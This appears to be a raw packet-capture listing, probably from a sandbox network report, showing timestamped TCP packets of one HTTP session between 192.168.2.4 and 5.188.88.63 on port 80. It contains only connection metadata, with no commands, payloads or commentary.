Sep 7, 2021 16:03:05.989252090 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.989286900 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.989325047 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.989334106 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.989376068 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.989423037 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.989428043 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.989459038 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.989490032 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.989520073 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.989536047 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.989558935 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.989573956 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.989598036 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.989636898 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.989644051 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.989676952 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.989717960 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.989728928 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.989767075 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.989813089 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.989818096 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.989844084 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.989871979 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.989890099 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.989901066 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.989921093 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.989943981 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.989949942 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.989974976 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.989995003 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.990003109 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.990030050 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.990056992 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.990078926 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.990107059 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.990120888 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.990140915 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.990170002 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.990186930 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.990196943 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.990223885 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.990250111 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.990252972 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.990279913 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.990293026 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.990307093 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.990334988 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.990350008 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.990367889 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.990397930 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.990411997 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.990425110 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.990453005 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.990467072 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.990479946 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.990520000 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.031963110 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.063617945 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.063662052 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.063694954 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.063725948 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.063740015 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.063756943 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.063786983 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.063818932 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.063858032 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.063867092 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.063874960 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.063891888 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.063910961 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.063924074 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.063954115 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.063971043 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.063986063 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.064016104 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.064045906 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.064055920 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.064078093 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.064100027 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.064131975 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.064166069 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.064194918 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.064197063 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.064225912 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.064238071 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.064255953 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.064285994 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.064316988 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.064316988 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.064362049 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.064539909 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.064574003 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.064604998 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.064636946 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.064662933 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.064667940 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.064699888 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.064713955 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.064743042 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.064778090 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.064798117 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.064807892 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.064836025 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.064840078 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.064872980 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.064882040 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.064903021 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.064933062 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.064960957 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.064964056 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.065001965 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.065027952 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.065037966 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.065068007 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.065088034 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.065099001 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.065129995 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.065157890 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.065160990 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.065191031 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.065207958 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.065221071 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.065258980 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.065272093 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.065291882 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.065321922 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.065344095 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.065352917 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.065408945 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.138928890 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.138948917 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139023066 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139039993 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139039993 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.139065027 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139084101 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139094114 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.139101982 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139127016 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139143944 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139153004 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.139183044 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139199972 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139200926 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.139215946 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139228106 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139235973 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.139242887 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139256001 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139271975 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139286995 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139302969 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139317989 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139337063 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139342070 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.139353991 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139369965 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139377117 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.139384985 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139420033 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.139421940 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139456034 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139475107 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139492035 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139519930 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139527082 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.139535904 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139550924 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139565945 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139578104 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.139583111 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139601946 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139620066 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139636040 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139646053 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.139651060 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139667034 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139673948 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.139682055 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139697075 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139712095 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139730930 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139734030 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.139748096 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139763117 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139770031 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.139779091 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139794111 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.139794111 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139812946 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139828920 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.139828920 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139846087 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139854908 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.139863968 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139882088 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139889956 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.139898062 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139914036 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139929056 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139944077 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139951944 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.139960051 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139976025 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.139993906 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.139995098 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140012980 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140023947 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.140028000 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140043974 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140053988 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.140059948 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140074968 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140085936 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.140089989 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140105963 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140114069 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.140124083 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140141010 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140145063 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.140156031 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140172005 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140187025 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140202045 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140203953 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.140218019 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140233040 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140249968 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.140250921 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140275002 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140286922 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.140290022 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140309095 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140321016 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.140326977 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140341997 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140357018 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.140357971 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140373945 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140388966 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140392065 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.140403986 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140419960 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140433073 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140448093 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140460968 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.140463114 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140480042 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140482903 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.140495062 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140511990 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.140513897 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140531063 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140546083 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140546083 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.140561104 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140567064 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.140575886 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140590906 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140608072 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.140621901 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.140662909 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.213186026 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.213241100 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.213278055 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.213310003 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.213315964 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.213337898 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.213354111 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.213366985 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.213395119 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.213422060 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.213422060 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.213450909 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.213475943 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.213531017 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.213574886 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.213601112 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.213613987 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.213637114 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.213660955 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.213668108 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.213726044 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.213733912 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.213768959 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.213824034 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.213896036 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.213922977 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.213975906 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.214006901 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.214036942 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.214087009 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.214097977 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.214126110 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.214165926 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.214200020 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.214200974 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.214231968 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.214260101 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.214282990 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.214333057 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.214375973 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.214416981 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.214457035 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.214468002 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.214498043 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.214530945 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.214553118 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.214559078 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.214589119 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.214608908 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.214620113 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.214668989 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.214677095 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.214714050 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.214750051 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.214766026 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.214777946 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.214828014 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.214849949 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.214879036 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.214921951 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.214925051 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.214952946 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.214979887 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.215003014 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.215008974 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.215035915 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.215059996 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.215061903 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.215090990 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.215115070 CEST	49772	80	192.168.2.4	5.188.88.63
